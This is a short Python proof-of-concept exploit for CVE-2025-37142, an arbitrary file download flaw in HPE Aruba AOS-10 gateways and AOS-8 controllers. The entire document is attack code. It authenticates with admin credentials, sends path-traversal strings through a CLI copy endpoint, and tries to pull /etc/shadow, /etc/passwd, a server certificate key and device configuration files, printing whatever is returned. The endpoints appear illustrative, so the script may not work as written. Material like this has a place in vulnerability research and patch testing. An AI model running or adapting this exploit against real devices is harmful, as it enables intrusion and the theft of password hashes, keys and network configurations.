CVE-2025-37142

# CVE-2025-37142 PoC - HPE Aruba AOS-10/AOS-8 CLI Arbitrary File Download # This PoC demonstrates the concept of exploiting arbitrary file download # via the CLI binary of affected HPE Aruba Networking products. # # Note: Exploitation requires valid high-privilege credentials (PR:H) # # Affected products: # - HPE Aruba Networking AOS-10 Gateway # - HPE Aruba Networking AOS-8 Controller / Mobility Conductor import requests import sys # Target device configuration TARGET_HOST = "https://<target-aruba-device>" USERNAME = "admin" # Requires high-privilege credentials PASSWORD = "<password>" # Requires high-privilege credentials # Sensitive files to attempt downloading SENSITIVE_FILES = [ "/etc/passwd", "/etc/shadow", "/config/backup.cfg", "/flash/cert/server.pem", "/flash/config/ Aruba.cfg", "../../../../etc/passwd", # Path traversal attempt "../../../../flash/config/master.cfg", # Path traversal to config ] def exploit_cli_file_download(target_host, username, password, file_path): """ Attempt to exploit the CLI binary arbitrary file download vulnerability. The CLI binary processes file-related commands without proper path validation, allowing an authenticated high-privilege user to download arbitrary files. """ session = requests.Session() # Step 1: Authenticate to the device management interface login_url = f"{target_host}/screens/login.html" login_data = { "username": username, "password": password, } session.post(login_url, data=login_data, verify=False) # Step 2: Exploit CLI command to download arbitrary file # The CLI binary accepts crafted file paths without proper sanitization cli_payload = { "command": "copy", "source": file_path, # Inject arbitrary path here "destination": "/tmp/exfiltrated_file", } cli_url = f"{target_host}/cli/exec" response = session.post(cli_url, data=cli_payload, verify=False) if response.status_code == 200: print(f"[+] File '{file_path}' downloaded successfully!") print(response.text) return True else: print(f"[-] Failed to download '{file_path}'") return False if __name__ == "__main__": print(f"[*] CVE-2025-37142 PoC - HPE Aruba CLI Arbitrary File Download") print(f"[*] Target: {TARGET_HOST}") print(f"[*] Requires high-privilege credentials\n") for f in SENSITIVE_FILES: print(f"[*] Attempting to download: {f}") exploit_cli_file_download(TARGET_HOST, USERNAME, PASSWORD, f) print()

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